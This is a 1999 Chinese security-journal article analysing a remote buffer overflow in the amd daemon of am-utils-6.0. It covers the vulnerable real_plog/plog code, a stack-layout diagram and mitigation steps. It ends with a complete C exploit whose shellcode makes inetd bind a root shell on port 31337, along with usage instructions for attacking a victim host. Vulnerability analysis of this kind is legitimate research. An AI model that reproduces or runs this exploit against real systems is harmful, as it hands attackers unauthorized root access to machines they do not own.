首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第2期->技术专题
期刊号: 类型: 关键词:
am-utils-6.0工具包中amd溢出漏洞

作者:warning3(warning3@nsfocus.com)
主页:http://www.nsfocus.com
日期:1999-10-15

am-utils-6.0工具包里的amd存在严重缓冲区溢出漏洞,攻击者可以远程获取系统
root权限,这个漏洞存在于xutil.c的real_plog()函数中:

手头没有redhat5.2的源码,我发现TurboLinux 4.0的源码中有am-utils-6.0,就用
它来分析了一下。我想可能和redhat的没什么差别。这也说明TurboLinux 4.0存在同
样漏洞。

----------------------------xutil.c----------------------------------
... ...
static void
real_plog ( int lvl, char * fmt, va_list vargs )
{
    char msg[1024];  /* 这里开辟了1024字节缓冲区 */
    char efmt[1024];
    char *ptr = msg;  /* ptr指向msg */
    ... ...
    vsprintf( ptr, efmt, vargs );
    /*
     * 将参数串拷贝到msg中,如果串长度超过1024
     * 那么就会导致缓冲区溢出,当从real_plog返回
     * 时,可能会跳去执行任意代码
     */
    ... ...
----------------------------xutil.c-----------------------------------

这个real_plog被plog()函数调用,而plog()被作者频繁地使用,因此出问题也就没
什么可奇怪的了。让我们来看amq_subr.c中的amqproc_mount_1_svc()函数。当amd接
收到amq传送来的一个mount映射请求时(AMQPROC_MOUNT),就由这个函数来处理。由
于这种方式很不安全(因为只是基于ip检验,可能会被spoof),所以缺省amd是禁止这
种请求的。

-------------------------amq_subr.c------------------------

#ifdef ENABLE_AMQ_MOUNT  /* 如果使能了AMQ_MOUNT */
... ...
int * amqproc_mount_1_svc ( voidp argp, struct svc_req * rqstp )
{
    static int rc;
    char *     s = *( amq_string * )argp;
    char *     cp;

    /* 记录mount信息,如果s的大小超过1024-23=1001,就会导致缓冲区溢出 */
    plog( XLOG_INFO, "amq requested mount of %s", s );
    ... ...
#else  /* not ENABLE_AMQ_MOUNT */
/* 如果没有使能AMQ_MOUNT(缺省设置) */

int * amqproc_mount_1_svc ( voidp argp, struct svc_req * rqstp )
{
    static int rc;
    char *     s = *( amq_string * )argp;

    /* 记录mount错误信息,如果s的大小超过1024-23=1001,也会导致缓冲区溢出 */
    plog( XLOG_ERROR, "amq requested mount of %s, but code is disabled", s );
    ... ...
-------------------------amq_subr.c------------------------

我们可以看出,不管是不是禁止了AMQ_MOUNT,都有可能导致缓冲区溢出。
下面我简单讲一下exploit成功的原理,看看下面这个简图就很清楚了:

只要提供一个1009个字节(多点也可以),就可以覆盖堆栈中保存的返回地址eip。当
real_plog()函数返回时,就会跳转到攻击程序提供的地址去执行。如果这个地址返
回到NOP指令段中(如图所示),就会顺序执行下去,一直执行到shellcode,从而可能
以root权限执行任意命令。

不发生溢出时堆栈中的情况                   发生溢出时堆栈中的情况
  (s大小为1001)                               (s大于1009)
  |........ |                                |........ |
  |---------|0         ----x-----           0|---------|
  |   'a'   |              |                 |   'a'   |
  |---------|              |                 |---------|
  |   'm'   |              |                 |   'm'   |
  |---------|              |                 |---------|
  |   'q'   |              |                 |   'q'   |
  |---------|                                |---------|
  |   ' '   |    "amq requested mount of "   |   ' '   |
  |---------|                                |---------|
  |   'r'   |              |                 |   'r'   |
  |---------|              |                 |---------|
  |........ |              |                 |........ |
  |---------|              |                 |---------|
  |   'f'   |              |                 |   'f'   |
  |---------|              |                 |---------|
  |   ' '   |              |                 |   ' '   |
  |---------|23        ----x-----  ----x---23|---------|
  |  .....  |              |           |     |  0x90   |
  |---------|              |           |     |---------|
  |  .....  |              |           |     |  .....  | <---------------------------
  |---------|              |           |     |---------|                            |
  |  .....  |              |           |     |  0x90   |                            |
  |---------|                          |     |---------|--------x                   |
  |  .....  |              s           |     |  0xeb   |        |                   |
  |---------|                          |     |---------|     shellcode              |
  |  .....  |              |           |     |  .....  |        |                   |
  |---------|              |           |     |---------|--------x                   |
  |  .....  |              |           |     |  0x01   |        |                   |
  |---------|              |           |     |---------|        |                   |
  |  .....  |              |           |     |  .....  |        |                   |
  |---------|1024 ----x----x----       | 1024|---------|        |                   |
  |   0x??  |         |                      |   0x01  |        |                   |
  |---------|         |                s     |---------|        |                   |
  |   0x??  |                                |   0xf4  |                            |
  |---------|        ebp               |     |---------|    0xbffff401 (返回地址) --|
  |   0x??  |                          |     |   0xff  |
  |---------|         |                |     |---------|        |
  |   0x??  |         |                |     |   0xbf  |        |
  |---------|1028 ----x                | 1028|---------|        |
  |   0x!!  |         |                |     |   0x01  |        |
  |---------|         |                |     |---------|        |
  |   0x!!  |                          |     |   0xf4  |        |
  |---------|        eip               |     |---------|        |
  |   0x!!  |                          |     |   0xff  |        |
  |---------|         |                |     |---------|        |
  |   0x!!  |         |                |     |   0xbf  |        |
  |---------|     ----x                | 1032|---------| -------x
  | ......  |                                | ......  |

需要注意的是,amd程序一旦被攻击就会当掉,必须重新启动
(/etc/rc.d/init.d/amd start)才能正常工作,这也减少了攻击者的机会,他只有一
次机会。

解决的办法是:

1. mv /etc/rc.d/rc3.d/S72amd /etc/rc.d/rc3.d/s72amd
2. 尽快到redhat的ftp server上去下最新的am-utils软件包

下面是我写的一个测试程序,需要你的机器上装了amq(也是am-utils包带的)。请只
在自己的机器上测试:

/* amd remote exploit for x86 Linux
* Compiled and tested in RedHat 5.2
* Usages:
*     ./amdbug victim <offset> <align> (try offset: 0-400)
* telnet victim 31337
* shellcode is from SDI's shellcode generator.
* This exploit need /usr/sbin/amq.
* Warning:
* This code is for educational purpose only and should not be run in
* any host without permission from the system administrator.
* warning3@hotmail.com
* 1999/09
*/

#include <stdlib.h>

#define BUFSIZE    1024
#define OFFSET     0
#define ALIGNMENT  1
#define RET        0xbffff401
#define NOP        0x90

char shellcode[]=
    "\xeb\x31\x5e\x89\x76\x66\x8d\x5e\x08\x89\x5e\x6a"
    "\x8d\x5e\x0b\x89\x5e\x6e\x31\xc0\x88\x46\x07\x88"
    "\x46\x0a\x88\x46\x65\x89\x46\x72\xb0\x0b\x89\xf3"
    "\x8d\x4e\x66\x8d\x56\x72\xcd\x80\x31\xdb\x89\xd8"
    "\x40\xcd\x80\xe8\xca\xff\xff\xff"
    "/bin/sh -c echo 31337 stream tcp nowait root /bin/sh /bin/sh -i>/tmp/owned;/usr/sbin/inetd /tmp/owned";

void main ( int argc, char * argv[] )
{
    int    addr, *addr_ptr;
    int    ret = RET, offset = OFFSET, align = ALIGNMENT, i;
    char * buf;
    char * hostname;

    if ( argc == 1 )
    {
        printf( "Usages: %s hostname <offset> <align> \n", argv[0] );
        exit( 0 );
    }
    if ( argc > 1 )
    {
        hostname = ( char * )malloc( strlen( argv[1] ) + 1 );
        strcpy( hostname, argv[1] );
    }
    if ( argc > 2 )
    {
        offset = atoi( argv[2] );
    }
    if ( argc > 3 )
    {
        align = atoi( argv[3] );
    }
    buf  = ( char * )malloc( BUFSIZE );
    addr = ret - offset;
    printf( "Using address: 0x%x \n", addr );
    addr_ptr = ( long * )( buf + align );
    for ( i = align; i < BUFSIZE; i += 4 )
    {
        *( addr_ptr++ ) = addr;
    }
    memset( buf, NOP, BUFSIZE / 2 );
    memcpy( buf + BUFSIZE / 2 - strlen( shellcode ) / 2, shellcode, strlen( shellcode ) );
    buf[ BUFSIZE - 1 ] = '\0';
    printf( "Wait for some seconds, then press Ctrl_C break amq, try to telnet %s 31337, good luck!\n",
            hostname );
    execl( "/usr/sbin/amq", "amq", "-h", hostname, "-M", buf, NULL );
}

版权所有,未经许可,不得转载